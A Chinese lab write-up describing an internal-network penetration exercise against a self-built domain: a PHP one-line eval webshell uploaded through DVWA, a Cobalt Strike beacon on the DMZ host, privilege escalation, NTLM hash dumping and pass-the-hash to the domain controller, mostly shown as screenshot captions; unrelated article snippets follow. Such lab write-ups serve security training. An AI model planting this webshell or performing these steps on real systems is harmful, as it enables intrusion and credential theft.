内网渗透、哈希传递、获取域控权限

网络拓扑

  • kali(桥接)

    10.9.47.221

  • win11(nat 模式)

    192.168.1.130

  • DMZ(win7)

    网卡1(桥接)10.9.47.110

    网卡2(仅主机)172.16.1.128

  • 域控(win 2008)(仅主机)

    172.16.1.129

要求

  1. 域控主机搭建域环境,DMZ 主机加⼊域内
  2. DMZ 主机存在⽂件上传漏洞和命令执⾏漏洞
  3. 获取 DMZ 主机控制权限,写⼊⼀句话⽊⻢或者上传⼀句话⽊⻢并连接
  4. cs ⽣成⽊⻢,使 DMZ 主机上线 cs
  5. 提权到 system 权限,⽣成 smblistener
  6. 使⽤哈西传递操作横向移动到预控,拿下预控权限
  7. 搭建正向代理,在 win11 上直接访问到预控主机的服务,例如 3389 或者 web

获取 webshell

使用 dvwa 文件上传模拟漏洞

准备一句话木马

1.php

<?php @eval($_REQUEST['gjl']);?>

访问 DMZ(win7)

10.9.47.110/dvwa

调到 low 模式上传一句话木马

image-20231215163306439

蚁剑连接

image-20231215163436698

Cobalt Strike 环境搭建

cs 服务端搭建、登录

kali 开启 teamserver

./teamserver 10.9.47.221 123456

image-20231215163530949

win11 开启客户端

image-20231215163806915

提权

image-20231215163911879

选择监听模块并生成

image-20231215164003064

使用蚁剑将木马上传到 DMZ 上

image-20231215164103533

使用蚁剑打开命令终端运行该程序, DMZ 主机上线

artiface_x64.exe

此时 DMZ 主机还是普通用户权限

image-20231215173655972

提权到管理员

image-20231215173918060

image-20231215164517988

成功提权

image-20231215173941245

提权到 system

image-20231215174806081

image-20231215174823503

横向移动

抓取本地 ntlm hash

image-20231215174905099

image-20231215174925531

内网扫描

image-20231215175029211

image-20231215174232818

查看扫描出的内网主机

image-20231215174430517

哈希传递

image-20231215175336299

image-20231215175821466

选择刚刚创建的 smb 监听

image-20231215175847440

指定成功传递后与哪个主机做连接

image-20231215180326599

成功横向移动

image-20231215181440289

image-20231215181524180

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/226874.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法模板之单链表图文讲解

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;算法模板、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 &#x1f4cb;前言一. ⛳️使用数组模拟单链表讲解1.1 &#x1f514;为什么我们要使用数组去模拟单链表…

【TB作品】基于单片机的实验室管理系统,STM32,GM65二维码扫描模块

硬件&#xff1a; &#xff08;1&#xff09;STM32F103C8T6最小板&#xff08;&#xff09; &#xff08;2&#xff09;GM65二维码扫描模块 &#xff08;3&#xff09;DS1302实时时钟模块 &#xff08;4&#xff09;AT24C02 存储设备 &#xff08;5&#xff09;蜂鸣器 &#xf…

同义词替换降低论文重复率的最新研究成果 神码ai

大家好&#xff0c;今天来聊聊同义词替换降低论文重复率的最新研究成果&#xff0c;希望能给大家提供一点参考。 以下是针对论文重复率高的情况&#xff0c;提供一些修改建议和技巧&#xff0c;可以借助此类工具&#xff1a; 标题&#xff1a;同义词替换降低论文重复率的最新研…

oracle 10046事件跟踪

10046事件是一个很好的排查sql语句执行缓慢的内部事件&#xff0c;具体设置方式如下&#xff1a; 根据10046事件跟踪SQL语句 1、 alter session set events 10046 trace name context forever,level 12; 2、执行SQL语句 3、关闭10046事件 alter session set events 10046 trace…

Element-Ui定制Dropdown组件

1.效果 说明&#xff1a;移入后新增图标&#xff0c;然后移入后图标变色。当然大家可以想到用mouseover移入事件来实现移入颜色的变化&#xff0c;但是在使用Dropdown组件的时候&#xff0c;不支持这种写法。因此采用了原生的遍历对象的形式&#xff0c;为每一个item对象绑定鼠…

拆东墙补西墙-中国金融风控多头借贷数据分析

引言 在中国的金融行业中&#xff0c;多头借贷是一个备受关注的话题。多头借贷是指一个借款人同时从多个金融机构借款&#xff0c;这种行为可能会增加借款人的还款压力&#xff0c;也会增加金融机构的风险。因此&#xff0c;对多头借贷的风险进行有效的监控和分析对于金融机构…

基因检测1 - 肿瘤相关基因BRCA1、BRCA2、EGFR和HER2

1. BRCA1和BRCA2 乳腺癌和卵巢癌 BRCA1&#xff08;breast cancer 1, early onset&#xff09;和BRCA2&#xff08;breast cancer2&#xff0c; early onset&#xff09;是两个著名的抑癌基因&#xff0c;能有效抑制乳腺癌和卵巢癌的发生&#xff0c;其中BRCA1基因位于人类第…

【从客户端理解Kafka的使用方式】

文章目录 一、从基础的客户端说起1、消息发送者主流程2、消息消费者主流程 二、从客户端属性来梳理客户端工作机制 这一部分主要是从客户端使用的角度来理解Kakfa的重要机制。重点依然是要建立自己脑海中的Kafka消费 模型。Kafka的HighLevel API使用是非常简单的&#xff0c;所…

【Nginx】Nginx了解(基础)

文章目录 Nginx产生的原因Nginx简介Nginx的作用反向代理负载均衡策略动静分离 Nginx的Windows下的安装Linux下的安装Nginx常用命令 负载均衡功能演示 Nginx产生的原因 背景 一个公司的项目刚刚上线的时候&#xff0c;并发量小&#xff0c;用户使用的少&#xff0c;所以在低并发…

lv12 uboot移植深化 9

u-boot-2013.01移植 【实验目的】 了解u-boot 的代码结构及移植的基本方法 【实验环境】 ubuntu 14.04发行版FS4412实验平台交叉编译工具arm-none-linux-gnueabi- 【注意事项】 实验步骤中以“$”开头的命令表示在 ubuntu 环境下执行 【实验步骤】 1 建立自己的平台 1.…

flutter 代码混淆

Flutter 应用混淆&#xff1a; Flutter 应用的混淆非常简单&#xff0c;只需要在构建 release 版应用时结合使用 --obfuscate 和 --split-debug-info 这两个参数即可。 –obfuscate --split-debug-info 用来指定输出调试文件的位置&#xff0c;该命令会生成一个符号映射表。目前…

uniapp api uni.request讲解

uni.request是Uniapp中用于发起网络请求的API。它类似于原生JavaScript中的XMLHttpRequest和浏览器提供的fetch函数。 使用uni.request可以发送HTTP请求&#xff0c;并获取响应数据。下面是uni.request的基本用法&#xff1a; uni.request({url: http://api.example.com/data,…

【TB作品】基于单片机的机械通风控制系统,实时温度和二氧化碳浓度

硬件&#xff1a; &#xff08;1&#xff09;51系列单片机&#xff0c;拟采用STC89C52RC&#xff1b; &#xff08;2&#xff09;DS18B20温度传感器&#xff1b; &#xff08;3&#xff09;二氧化碳浓度传感器&#xff1a;https://item.taobao.com/item.htm?spma21n57.1.0.0.1…

紫光展锐CEO任奇伟博士:展锐5G芯筑基当下,迈向未来

12月5日&#xff0c;紫光集团执行副总裁、紫光展锐CEO任奇伟博士受邀出席2023世界5G大会5G产业强基发展论坛&#xff0c;发表了题为《展锐5G芯&#xff1a;筑基当下&#xff0c;迈向未来》的演讲。 ​ 世界5G大会由国务院批准&#xff0c;国家发展改革委、科技部、工信部与地方…

c 关于数组几个查序程序

1. 查询某元素是否在数组中 int main(void) {// char i[10][2]{{1,7},{2,10},{5,2},{0,-1},{4,10},{10,1},{3,1},{0,8}};char z[10]{1,2,3,4,1,4,6,8,0,9};int zz0; //标志位&#xff1a;0&#xff1a;在 1&#xff1a;不在char in9; //输入数int t0;do{t;if(t>10)…

2.2 【渲染】渲染目标

一,渲染目标 一个渲染目标是指专门创建的Surface,可以将渲染定向到该Surface。 它可以是你自己创建,也可以其他人(例如,另一个进程)创建。如果你不是为了自己使用而渲染,可以使用 SCREEN_PROPERTY_PERMISSIONS 属性设置渲染目标的权限,以授予或拒绝对你创建的渲染目标…

【手撕算法系列】k-means

k-means k-means算法介绍 k-means算法介绍 K-means算法是一种用于聚类的迭代算法&#xff0c;它将数据集划分为K个簇&#xff0c;其中每个数据点属于与其最近的簇的中心。这个算法的目标是最小化簇内的平方和误差&#xff08;簇内数据点与簇中心的距离的平方和&#xff09;。 …

小程序使用Nodejs作为服务端,Nodejs与与MYSQL数据库相连

小程序使用Nodejs作为服务端,Nodejs与MYSQL数据库相连 一、搭建环境二、配置Nodejs三、与小程序交互四、跨域处理/报错处理五、nodejs连接mysql数据库六、微信小程序连接nodejs报错七、小程序成功与服务端相连,且能操作数据库一、搭建环境 新建空文件夹:Win + R进入cmd命令界…

再不跳槽,就晚了

从时间节点上来看&#xff0c;3月、4月是每年跳槽的黄金季&#xff01; 以 BAT 为代表的互联网大厂&#xff0c;无论是薪资待遇、还是平台和福利&#xff0c;都一直是求职者眼中的香饽饽&#xff0c;“大厂经历” 在国内就业环境中无异于一块金子招牌。 现在年底了&#xff0…

android实战之Lifecycle感知组件生命周期

引言 在 Android 框架中定义的大多数应用组件都存在生命周期。生命周期由操作系统或进程中运行的框架代码管理。它们是 Android 工作原理的核心&#xff0c;应用必须遵循它们。如果不这样做&#xff0c;可能会引发内存泄漏甚至应用崩溃。 使用方式 1. 定义对象 public clas…